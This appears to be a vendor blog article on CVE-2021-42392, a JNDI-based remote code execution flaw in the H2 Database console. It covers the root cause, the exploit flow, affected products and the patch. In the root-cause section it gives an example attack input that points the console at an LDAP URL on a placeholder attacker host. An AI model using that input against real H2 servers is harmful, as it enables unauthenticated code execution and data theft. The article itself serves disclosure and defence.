JFrog has recently disclosed a remote code execution vulnerability on H2 Database consoles. This is based on a Java Naming and Directory Interface(JNDI) vulnerability, and its root cause is similar to the recent Log4Shell vulnerability in Apache Log4j. H2 is an open-source RDBMS in Java that offers a lightweight in-memory solution, making it a popular data storage solution for Web and IoT platforms. The com.h2database:h2 package is among the top 50 most popular Maven packages, with almost 7000 artifact dependencies. Vulnerability Management Software is the solution to this problem.
The detected vulnerability is being tracked by CVE-2021-42392 and is based on an Unauthenticated Remote Code Execution(RCE) vulnerability. This is caused by org.h2.util.JdbcUtils.getConnection method present in the H2 Database, which takes the driver’s class name and URL of the Database; these parameters are not filtered. Moreover, the lookup of URLs is done before the username and password can be validated. The RCE vulnerability is triggering when a malicious user passes a JNDI driver name and a URL link to a remote LDAP/RMI server. Such methods are of use extensively in the H2 Database, opening up many attack vectors. Most notable among them is using the H2 Console leading to the Unauthenticated RCE. To prevent such attacks from happening, you can deploy patches automatically with a sound patch management tool.
Root Cause Analysis
The root cause is similar to Log4Shell. Passing unfiltered URLs to the javax.naming.Context.lookup function which contains remote codebase loading. Specifically, the org.h2.util.JdbcUtils.getConnection method takes a driver class name and database URL as parameters. Suppose the driver’s class CVE-2021-42392 is assignable to the javax.naming.Context class, the method instantiates an object from it and calls its lookup method:
else if (javax.naming.Context.class.isAssignableFrom(d)) { // JNDI context Context context = (Context) d.getDeclaredConstructor().newInstance(); DataSource ds = (DataSource) context.lookup(url); if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) { return ds.getConnection(); } return ds.getConnection(user, password); }
They were supplying a driver class such as javax.naming.InitialContext and a URL such as ldap://attacker.com/Exploit, which leads to a remote code execution.
JNDI Exploit Flowchart
As stated above, the respective method doesn’t safely handle the class name and URL parameters. So when a malicious attacker-control URL is coming, its lookup happens before the credentials can be of validation. Thus, an LDAP Query is sent to the malicious link, and the response received is a javaClassName where the malicious class containing the code to be executed is present. H2 Database will now try to fetch this by sending out an HTTP GET request. Once the class is transfering, the execution of the code is on the server.
CVE-2021-42392 has three limitations that should make this issue less widespread when compared to Log4Shell:
- The scope of the attack is “direct,” and servers that process the initial request, the H2 Console, will be of impact. This makes it easy to find the vulnerable server, as other servers will not be of impact.
- H2 databases are not vulnerable by default, as they only listen to local host connections. However, it can be easily change to listen for remote connections.
- Most vendors run the H2 Database but may not run the H2 Console. Vectors exploiting without the Console are of context-dependency and less likely to be exposing to all the remote attackers.
Affect Products
- H2 Database
- H2 Console
- H2 Shell
Impact
A malicious user could exploit this Remote Code Execution vulnerability to gain unauthorized access to the server, steal user data, and cause undesirable side effects on the vulnerable machine.
Solution
H2 Database has released the security fix for this vulnerability in version 2.0.206. It is a recommendation that all users, whether those using H2 Console directly or not, upgrade their instances to the patched version ASAP. Therefore the fix is to have JNDI URLs only use (local) Java protocol.